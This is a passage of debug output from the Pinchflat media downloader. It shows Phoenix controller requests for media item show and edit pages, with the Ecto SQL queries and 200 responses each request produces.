s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.872 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.872 [info] Sent 200 in 8ms 22:17:24.873 [info] Sent 200 in 5ms 22:17:25.077 [info] GET /sources/10/media/12545 22:17:25.078 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12545", "source_id" => "10"} Pipelines: [:browser] 22:17:25.080 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=209.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12545] 22:17:25.081 [info] GET /sources/10/media/12545/edit 22:17:25.081 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12545", "source_id" => "10"} Pipelines: [:browser] 22:17:25.083 [debug] QUERY OK source="tasks" db=1.3ms queue=0.1ms idle=211.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12545] 22:17:25.083 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=211.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:25.084 [debug] QUERY OK source="media_items" db=1.9ms idle=211.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12545] 22:17:25.085 [debug] QUERY OK source="settings" db=0.4ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.085 [debug] QUERY OK source="oban_jobs" db=1.8ms idle=211.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2183] 22:17:25.086 [info] GET /sources/10/media/12546 22:17:25.086 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.086 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12546", "source_id" => "10"} Pipelines: [:browser] 22:17:25.087 [debug] QUERY OK source="settings" db=0.4ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.087 [debug] QUERY OK source="settings" db=0.7ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.088 [debug] QUERY OK source="settings" db=0.8ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.088 [debug] QUERY OK source="media_items" db=1.5ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 22:17:25.089 [debug] QUERY OK source="settings" db=0.6ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.089 [debug] QUERY OK source="sources" db=0.4ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:25.090 [info] Sent 200 in 8ms 22:17:25.090 [debug] QUERY OK source="tasks" db=1.3ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12546] 22:17:25.091 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:25.092 [info] GET /sources/10/media/12546/edit 22:17:25.092 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12546", "source_id" => "10"} Pipelines: [:browser] 22:17:25.092 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=2.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2184] 22:17:25.093 [debug] QUERY OK source="media_items" db=0.9ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 22:17:25.093 [debug] QUERY OK source="settings" db=0.6ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.094 [info] Sent 200 in 17ms 22:17:25.095 [debug] QUERY OK source="settings" db=0.8ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.095 [debug] QUERY OK source="settings" db=1.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.095 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.096 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.096 [debug] QUERY OK source="settings" db=0.5ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.097 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:25.098 [info] Sent 200 in 6ms 22:17:25.100 [info] Sent 200 in 14ms 22:17:25.106 [info] GET /sources/10/media/12547 22:17:25.107 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12547", "source_id" => "10"} Pipelines: [:browser] 22:17:25.108 [debug] QUERY OK source="media_items" db=0.4ms idle=12.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12547] 22:17:25.108 [info] GET /sources/10/media/12547/edit 22:17:25.108 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12547", "source_id" => "10"} Pipelines: [:browser] 22:17:25.109 [debug] QUERY OK source="tasks" db=0.5ms idle=12.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12547] 22:17:25.109 [debug] QUERY OK source="sources" db=0.7ms idle=12.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:25.109 [debug] QUERY OK source="media_items" db=0.2ms idle=12.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12547] 22:17:25.110 [debug] QUERY OK source="settings" db=0.7ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.111 [debug] QUERY OK source="oban_jobs" db=1.2ms idle=12.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2185, 2295] 22:17:25.111 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.112 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.112 [debug] QUERY OK source="settings" db=0.4ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.112 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.113 [info] Sent 200 in 4ms 22:17:25.113 [debug] QUERY OK source="settings" db=0.9ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.115 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:25.117 [info] Sent 200 in 10ms 22:17:25.310 [info] GET /sources/10/media/12548 22:17:25.311 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12548", "source_id" => "10"} Pipelines: [:browser] 22:17:25.312 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=199.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12548] 22:17:25.314 [debug] QUERY OK source="tasks" db=0.6ms idle=201.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12548] 22:17:25.314 [debug] QUERY OK source="sources" db=0.6ms idle=201.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:25.315 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=200.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2186] 22:17:25.316 [debug] QUERY OK source="settings" db=0.2ms idle=200.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.316 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.317 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.317 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:25.319 [info] Sent 200 in 8ms 22:17:25.322 [info] GET /sources/10/media/12548/edit 22:17:25.322 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12548", "source_id" => "10"} Pipelines: [:browser] 22:17:25.323 [debug] QUERY OK source="media_items" db=0.4ms idle=7.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12548] 22:17:25.323 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.324 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.324 [debug] QUERY OK source="settings" db=0.2ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.325 [info] Sent 200 in 2ms 22:17:25.325 [info] GET /sources/10/media/12549 22:17:25.325 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12549", "source_id" => "10"} Pipelines: [:browser] 22:17:25.326 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12549] 22:17:25.326 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:25.326 [debug] QUERY OK source="tasks" db=0.1ms idle=3.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12549] 22:17:25.327 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=2.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2187] 22:17:25.327 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.327 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.328 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.328 [info] GET /sources/10/media/12549/edit 22:17:25.328 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12549", "source_id" => "10"} Pipelines: [:browser] 22:17:25.328 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", 